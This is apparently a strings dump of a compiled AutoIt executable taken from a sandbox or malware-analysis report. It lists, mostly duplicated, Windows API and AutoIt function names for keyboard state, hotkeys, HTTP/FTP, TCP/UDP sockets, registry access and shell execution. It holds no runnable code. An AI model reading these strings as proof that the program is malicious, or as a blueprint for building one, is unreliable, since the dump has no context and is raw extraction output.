GetAsyncKeyState
SetKeyboardState
SetKeyboardState
GetKeyboardState
GetKeyboardState
GetKeyState
GetKeyState
VkKeyScanW
VkKeyScanW
EnumWindows
EnumWindows
EnumChildWindows
EnumChildWindows
MapVirtualKeyW
MapVirtualKeyW
CloseWindowStation
CloseWindowStation
SetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
OpenWindowStationW
UnregisterHotKey
UnregisterHotKey
keybd_event
keybd_event
InternetCrackUrlW
InternetCrackUrlW
HttpQueryInfoW
HttpQueryInfoW
HttpOpenRequestW
HttpOpenRequestW
HttpSendRequestW
HttpSendRequestW
FtpOpenFileW
FtpOpenFileW
FtpGetFileSize
FtpGetFileSize
InternetOpenUrlW
InternetOpenUrlW
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
y).JZn
y).JZn
].bod:o
].bod:o
[Sub%CR
[Sub%CR
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
COMDLG32.dll
COMDLG32.dll
GDI32.dll
GDI32.dll
MPR.dll
MPR.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
PSAPI.DLL
PSAPI.DLL
SHELL32.dll
SHELL32.dll
USER32.dll
USER32.dll
USERENV.dll
USERENV.dll
VERSION.dll
VERSION.dll
WININET.dll
WININET.dll
WINMM.dll
WINMM.dll
WSOCK32.dll
WSOCK32.dll
mscoree.dll
mscoree.dll
>>>AUTOIT NO CMDEXECUTE
>>>AUTOIT NO CMDEXECUTE
CMDLINERAW
CMDLINERAW
CMDLINE
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
%s (%d) : ==> %s.:
Line %d:
Line %d:
Line %d (File "%s"):
Line %d (File "%s"):
%s (%d) : ==> %s:
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
*.au3;*.a3x
All files (*.*)
All files (*.*)
#NoAutoIt3Execute
#NoAutoIt3Execute
APPSKEY
APPSKEY
04090000
04090000
%u.%u.%u.%u
%u.%u.%u.%u
0.0.0.0
0.0.0.0
Mddddd
Mddddd
%s (%d) : ==> %s:
%s (%d) : ==> %s:
UDPSTARTUP
UDPSTARTUP
UDPSHUTDOWN
UDPSHUTDOWN
UDPSEND
UDPSEND
UDPRECV
UDPRECV
UDPOPEN
UDPOPEN
UDPCLOSESOCKET
UDPCLOSESOCKET
UDPBIND
UDPBIND
TRAYGETMSG
TRAYGETMSG
TCPSTARTUP
TCPSTARTUP
TCPSHUTDOWN
TCPSHUTDOWN
TCPSEND
TCPSEND
TCPRECV
TCPRECV
TCPNAMETOIP
TCPNAMETOIP
TCPLISTEN
TCPLISTEN
TCPCONNECT
TCPCONNECT
TCPCLOSESOCKET
TCPCLOSESOCKET
TCPACCEPT
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTEWAIT
SHELLEXECUTE
SHELLEXECUTE
REGENUMKEY
REGENUMKEY
MSGBOX
MSGBOX
ISKEYWORD
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETUSERAGENT
HTTPSETPROXY
HTTPSETPROXY
HOTKEYSET
HOTKEYSET
GUIREGISTERMSG
GUIREGISTERMSG
GUIGETMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
GUICTRLRECVMSG
FTPSETPROXY
FTPSETPROXY
\??\%s
\??\%s
GUI_RUNDEFMSG
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDelay
SendKeyDownDelay
SendKeyDownDelay
TCPTimeout
TCPTimeout
AUTOITCALLVARIABLE%d
AUTOITCALLVARIABLE%d
255.255.255.255
255.255.255.255
Keyword
Keyword
AutoIt.Error
AutoIt.Error
Null Object assignment in FOR..IN loop
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
HOTKEYPRESSED
AUTOITEXE
AUTOITEXE
WINDOWSDIR
WINDOWSDIR
3, 3, 6, 1
3, 3, 6, 1
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_USERS
HKEY_USERS
%d/d/d
%d/d/d
c:\%original file name%.exe
c:\%original file name%.exe
:C:\%original file name%.exe
:C:\%original file name%.exe
%original file name%.exe_1192_rwx_00401000_000AF000:
s%j.Zf
s%j.Zf
tGHt.Ht&
tGHt.Ht&
tCPh
tCPh
SSSSh
SSSSh
\$%u#Sj
\$%u#Sj
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
operator
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
uxtheme.dll
kernel32.dll
kernel32.dll
operand of unlimited repeat could match the empty string
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
POSIX named classes are supported only within a class
erroffset passed as NULL
erroffset passed as NULL
POSIX collating elements are not supported
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
(*VERB) with an argument is not supported
ICMP.DLL
ICMP.DLL
advapi32.dll
advapi32.dll
RegDeleteKeyExW
RegDeleteKeyExW
zcÃ
zcÃ
GetProcessHeap
GetProcessHeap
CreatePipe
CreatePipe
GetWindowsDirectoryW
GetWindowsDirectoryW
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
RegDeleteKeyW
RegDeleteKeyW
RegCreateKeyExW
RegCreateKeyExW
RegEnumKeyExW
RegEnumKeyExW
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
SetViewportOrgEx
SetViewportOrgEx
ShellExecuteExW
ShellExecuteExW
SHFileOperationW
SHFileOperationW
ShellExecuteW
ShellExecuteW
RegisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
GetKeyboardLayoutNameW
ExitWindowsEx
ExitWindowsEx
EnumThreadWindows
EnumThreadWindows
GetAsyncKeyState
GetAsyncKeyState
SetKeyboardState
SetKeyboardState
GetKeyboardState
GetKeyboardState
GetKeyState
GetKeyState
VkKeyScanW
VkKeyScanW
EnumWindows
EnumWindows
EnumChildWindows
EnumChildWindows
MapVirtualKeyW
MapVirtualKeyW
CloseWindowStation
CloseWindowStation
SetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
OpenWindowStationW
UnregisterHotKey
UnregisterHotKey
keybd_event
keybd_event
InternetCrackUrlW
InternetCrackUrlW
HttpQueryInfoW
HttpQueryInfoW
HttpOpenRequestW
HttpOpenRequestW
HttpSendRequestW
HttpSendRequestW
FtpOpenFileW
FtpOpenFileW
FtpGetFileSize
FtpGetFileSize
InternetOpenUrlW
InternetOpenUrlW
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
y).JZn
y).JZn
mscoree.dll
mscoree.dll
KERNEL32.DLL
KERNEL32.DLL
>>>AUTOIT NO CMDEXECUTE
>>>AUTOIT NO CMDEXECUTE
CMDLINERAW
CMDLINERAW
CMDLINE
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
%s (%d) : ==> %s.:
Line %d:
Line %d:
Line %d (File "%s"):
Line %d (File "%s"):
%s (%d) : ==> %s:
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
*.au3;*.a3x
All files (*.*)
All files (*.*)
#NoAutoIt3Execute
#NoAutoIt3Execute
APPSKEY
APPSKEY
04090000
04090000
%u.%u.%u.%u
%u.%u.%u.%u
0.0.0.0
0.0.0.0
Mddddd
Mddddd
%s (%d) : ==> %s:
%s (%d) : ==> %s:
UDPSTARTUP
UDPSTARTUP
UDPSHUTDOWN
UDPSHUTDOWN
UDPSEND
UDPSEND
UDPRECV
UDPRECV
UDPOPEN
UDPOPEN
UDPCLOSESOCKET
UDPCLOSESOCKET
UDPBIND
UDPBIND
TRAYGETMSG
TRAYGETMSG
TCPSTARTUP
TCPSTARTUP
TCPSHUTDOWN
TCPSHUTDOWN
TCPSEND
TCPSEND
TCPRECV
TCPRECV
TCPNAMETOIP
TCPNAMETOIP
TCPLISTEN
TCPLISTEN
TCPCONNECT
TCPCONNECT
TCPCLOSESOCKET
TCPCLOSESOCKET
TCPACCEPT
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTEWAIT
SHELLEXECUTE
SHELLEXECUTE
REGENUMKEY
REGENUMKEY
MSGBOX
MSGBOX
ISKEYWORD
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETUSERAGENT
HTTPSETPROXY
HTTPSETPROXY
HOTKEYSET
HOTKEYSET
GUIREGISTERMSG
GUIREGISTERMSG
GUIGETMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
GUICTRLRECVMSG
FTPSETPROXY
FTPSETPROXY
\??\%s
\??\%s
GUI_RUNDEFMSG
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDelay
SendKeyDownDelay
SendKeyDownDelay
TCPTimeout
TCPTimeout
AUTOITCALLVARIABLE%d
AUTOITCALLVARIABLE%d
255.255.255.255
255.255.255.255
Keyword
Keyword
AutoIt.Error
AutoIt.Error
Null Object assignment in FOR..IN loop
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
HOTKEYPRESSED
AUTOITEXE
AUTOITEXE
WINDOWSDIR
WINDOWSDIR
3, 3, 6, 1
3, 3, 6, 1
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_USERS
HKEY_USERS
%d/d/d
%d/d/d
c:\%original file name%.exe
c:\%original file name%.exe
:C:\%original file name%.exe
:C:\%original file name%.exe